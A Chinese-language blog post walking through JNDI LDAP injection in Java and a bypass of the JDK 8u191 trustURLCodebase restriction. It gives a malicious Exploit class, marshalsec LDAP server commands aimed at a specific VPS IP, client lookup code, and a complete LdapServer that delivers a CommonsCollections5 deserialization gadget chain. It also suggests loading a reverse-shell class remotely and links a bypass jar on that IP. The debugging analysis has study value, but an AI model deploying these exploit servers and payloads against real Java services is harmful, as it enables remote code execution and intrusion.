JNDI注入和JNDI注入Bypass
阅读原文时间:2021年06月09日阅读:1

  之前分析了fastjson,jackson,都依赖于JDNI注入,即LDAP/RMI等伪协议

  JNDI RMI基础和fastjson低版本的分析:https://www.cnblogs.com/piaomiaohongchen/p/14780351.html

  今天围绕JNDI LDAP注入,RMI先不搞了.

  一图胜千言:

    图片是偷的threezh1的:    

 看这个图,就感觉很清晰.

  测试ldap攻击:jdk版本选择:jdk8u73 ,测试环境Mac OS

  jdk8系列各个版本下载大全:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

  恶意类:Exploit.java:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;

public class Exploit implements ObjectFactory, Serializable {
public Exploit(){
try{
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}catch (IOException e){
e.printStackTrace();
}

}

public static void main(String\[\] args){  
    Exploit exploit = new Exploit();  
}  
@Override  
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {  
    return null;  
}  

}

  编译成class文件即可.

  使用marshalsec构建ldap服务,服务端监听:

/root/jdk-14.0.2/bin/java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://119.45.227.86/#Exploit 6666

  

  客户端发起ldap请求:

  客户端代码:

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {
public static void main(String[] args) throws NamingException {
new InitialContext().lookup("ldap://119.45.227.86:6666/a");
}
}

 

  坑:可能客户端都是jdk8u73,但是发现不能ldap命令执行,八成是vps的原因,对Exploit.java文件编译,要使用较低版本的jdk,我这里编译Exploit.java文件,使用的jdk版本是:

  

  如果你是用jdk>8的版本编译,然后运行ldap服务,是不能执行命令成功的,因为客户端是1.8*版本,请求的class是>1.8的,是不可以的,jdk是向下兼容的,所以建议恶意类文件编译采用jdk<=1.8版本,为了稳定期间选择我这里jdk1.6.

  jndi ldap执行命令原理分析刨析:

    debug:

    

  跟进去,深入跟踪函数一直到这里:

  getObjectFactoryFromReference: 

  文件地址:/Library/Java/JavaVirtualMachines/jdk1.8.0_73.jdk/Contents/Home/jre/lib/rt.jar!/javax/naming/spi/NamingManager.class:

  可通过反射加载进去单独设置debug:   

static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class clas = null;

    // Try to use current class loader  
    try {  
         clas = helper.loadClass(factoryName);  
    } catch (ClassNotFoundException e) {  
        // ignore and continue  
        // e.printStackTrace();  
    }  
    // All other exceptions are passed up.

    // Not in class path; try to use codebase  
    String codebase;  
    if (clas == null &&  
            (codebase = ref.getFactoryClassLocation()) != null) {  
        try {  
            clas = helper.loadClass(factoryName, codebase);  
        } catch (ClassNotFoundException e) {  
        }  
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;  
}

 先看注释:

  继续debug:

  如果是本地的class文件加载:

  

  就直接loadClass加载本地class文件即可.

  但是我们这里是客户端远程加载ldap地址:

  

  走这个逻辑:

  

  发现多了个codebase:

  跟进loadClass:

  

  查看debug视图页面:

  

  codebase是我们的ldap的地址:

    

  最后返回:

    

  触发命令执行:

  

  通过上面debug知道codebase是个url地址,那么什么是codebase呢?

简单说,codebase就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上codebase的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。

你要弄清楚哪个设置codebase,而哪个使用codebase。任何程序假如发送一个对方可能没有的新类对象时就要设置codebase(例如jdk的类对象,就不用设置codebase)。 

codebase实际上是一个url表,在该url下有接受方需要下载的类文件。假如你不设置codebase,那么你就不能把一个对象传递给本地没有该对象类文件的程序。 

  可以这么说jndi ldap远程加载本质上就是:codebase+classname 

  提高jdk版本为:jdk8u191:

  再次客户端发起ldap请求:

   

  会发现,有ldap请求,但是没有命令执行成功:

  开启debug进去看看:

    回到老地方:

  getObjectFactoryFromReference: 

  文件地址:/Library/Java/JavaVirtualMachines/jdk1.8.0_73.jdk/Contents/Home/jre/lib/rt.jar!/javax/naming/spi/NamingManager.class:

  跟进loadClass:
  

  多了一个判断:

  贴代码:

public Class loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

        return loadClass(className, cl);  
    } else {  
        return null;  
    }  
}

  直接走了else,不能在反射实例化了..  

 gg了,默认情况下,trustURLCodebase=false,如果还想jdni ldap命令执行成功,就要想办法让trustURLCodebase=true:

  网上已经给了解决方案来看看:

    来试一把:

  依赖环境:

  <dependency>  
        <groupId>com.unboundid</groupId>  
        <artifactId>unboundid-ldapsdk</artifactId>  
        <version>3.1.1</version>  
    </dependency>  
    <dependency>  
        <groupId>commons-collections</groupId>  
        <artifactId>commons-collections</artifactId>  
        <version>3.2.1</version>  
    </dependency>

    LdapServer.java:

package com.test.fastjson.jndi;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String\[\] tmp\_args ) throws Exception{  
    String\[\] args=new String\[\]{"http://119.45.227.86/#Exploit"};  
    int port = 7777;

    InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP\_BASE);  
    config.setListenerConfigs(new InMemoryListenerConfig(  
            "listen", //$NON-NLS-1$  
            InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$  
            port,  
            ServerSocketFactory.getDefault(),  
            SocketFactory.getDefault(),  
            (SSLSocketFactory) SSLSocketFactory.getDefault()));

    config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args\[ 0 \])));  
    InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);  
    System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$  
    ds.startListening();  
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

    private URL codebase;

    public OperationInterceptor ( URL cb ) {  
        this.codebase = cb;  
    }

    @Override  
    public void processSearchResult ( InMemoryInterceptedSearchResult result ) {  
        String base = result.getRequest().getBaseDN();  
        Entry e = new Entry(base);  
        try {  
            sendResult(result, base, e);  
        }  
        catch ( Exception e1 ) {  
            e1.printStackTrace();  
        }  
    }

    protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {  
        URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));  
        System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);  
        e.addAttribute("javaClassName", "foo");  
        String cbstring = this.codebase.toString();  
        int refPos = cbstring.indexOf('#');  
        if ( refPos > 0 ) {  
            cbstring = cbstring.substring(0, refPos);  
        }

        e.addAttribute("javaSerializedData",CommonsCollections5());

        result.sendSearchEntry(e);  
        result.setResult(new LDAPResult(0, ResultCode.SUCCESS));  
    }  
}

private static byte\[\] CommonsCollections5() throws Exception{  
    Transformer\[\] transformers=new Transformer\[\]{  
            new ConstantTransformer(Runtime.class),  
            new InvokerTransformer("getMethod",new Class\[\]{String.class,Class\[\].class},new Object\[\]{"getRuntime",new Class\[\]{}}),  
            new InvokerTransformer("invoke",new Class\[\]{Object.class,Object\[\].class},new Object\[\]{null,new Object\[\]{}}),  
            new InvokerTransformer("exec",new Class\[\]{String.class},new Object\[\]{"open -a Calculator"})  
    };

    ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);  
    Map map=new HashMap();  
    Map lazyMap=LazyMap.decorate(map,chainedTransformer);  
    TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");  
    BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);  
    Field field=badAttributeValueExpException.getClass().getDeclaredField("val");  
    field.setAccessible(true);  
    field.set(badAttributeValueExpException,tiedMapEntry);

    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

    ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);  
    objectOutputStream.writeObject(badAttributeValueExpException);  
    objectOutputStream.close();

    return byteArrayOutputStream.toByteArray();  
}  

}

  运行LdapServer.java,启动服务端:

    

  客户端调用ldap: 

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {
public static void main(String[] args) throws NamingException {
new InitialContext().lookup("ldap://127.0.0.1:7777/a");
}
}

     

  成功执行命令,bypass trustURLCodebase=false的修复方案,debug下,看看是怎么导致命令执行的:

  debug跟进函数,看比较重要的文件:

  /Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/jndi/ldap/LdapCtx.class

  摘出代码:

if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
var3 = Obj.decodeObject((Attributes)var4);
}

  发现会判断获取到数组的第二个位置的值,是否为空,不为空就走Obj.decodeObject:

  跟进decodeObject:

  查看JAVA_ATTRIBUTES:

 把元素都存储在了数组中,可以把他们理解成这是key,get(*),获取的是值,就是value:

   把debug重要部分代码贴出来:

static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

    try {  
        Attribute var1;  
        if ((var1 = var0.get(JAVA\_ATTRIBUTES\[1\])) != null) {  
            ClassLoader var3 = helper.getURLClassLoader(var2);  
            return deserializeObject((byte\[\])((byte\[\])var1.get()), var3);  
        } else if ((var1 = var0.get(JAVA\_ATTRIBUTES\[7\])) != null) {  
            return decodeRmiObject((String)var0.get(JAVA\_ATTRIBUTES\[2\]).get(), (String)var1.get(), var2);  
        } else {  
            var1 = var0.get(JAVA\_ATTRIBUTES\[0\]);  
            return var1 == null || !var1.contains(JAVA\_OBJECT\_CLASSES\[2\]) && !var1.contains(JAVA\_OBJECT\_CLASSES\_LOWER\[2\]) ? null : decodeReference(var0, var2);  
        }  
    } catch (IOException var5) {  
        NamingException var4 = new NamingException();  
        var4.setRootCause(var5);  
        throw var4;  
    }  
}

  获取数组第四个元素就是java codebase即ldap地址:

  继续往下:

  

  debug发现value是:

  JAVA_ATTRIBUTES[1]=javaserializeddata -> {LdapAttribute@893} "javaSerializedData: [B@66d2e7d9"

  var2=java codebase,classloader加载的是codebase:

  跟进去:

  重中之重:/Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/jndi/ldap/VersionHelper12.class

  文件位置:  

ClassLoader getURLClassLoader(String[] var1) throws MalformedURLException {
ClassLoader var2 = this.getContextClassLoader();
return (ClassLoader)(var1 != null && "true".equalsIgnoreCase(trustURLCodebase) ? URLClassLoader.newInstance(getUrlArray(var1), var2) : var2);
}

  如果var1不为空,设置trustURLCodebase=true!!!

   这样他又可以classloader加载了!

  

  下一步走到这里,反序列化codebase:

 

  跟进desrializeObject方法,调用readObject,触发rce:

  

  为了走我们debug的流程触发rce,所以exp里面需要给属性设置内容

  

  设置的值是反射加载调用实例化:

  改造exp:让我们更方便的进行jdk高版本下的jdk利用:

  演示效果,实现自定义恶意类定义+自定义ldap端口:

  vps上监听:

java -jar Java_Test.jar http://119.45.227.86/#Exploit 1234

 

  客户端发起远程ladp请求:

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {
public static void main(String[] args) throws NamingException {
new InitialContext().lookup("ldap://119.45.227.86:1234/a");
}
}

 如果想反弹shell,在自己vps上写个反弹shell的恶意类,编译后,远程加载,即可反弹shell

  bypass jar包下载地址:http://119.45.227.86/hello.zip

  关于jndi jdk高版本bypass其他方法,等我有时间,再来补全!累了!

 jdni注入学习参考:https://threezh1.com/2021/01/02/JAVA_JNDI_Learn/#RMI%E4%B8%8ELDAP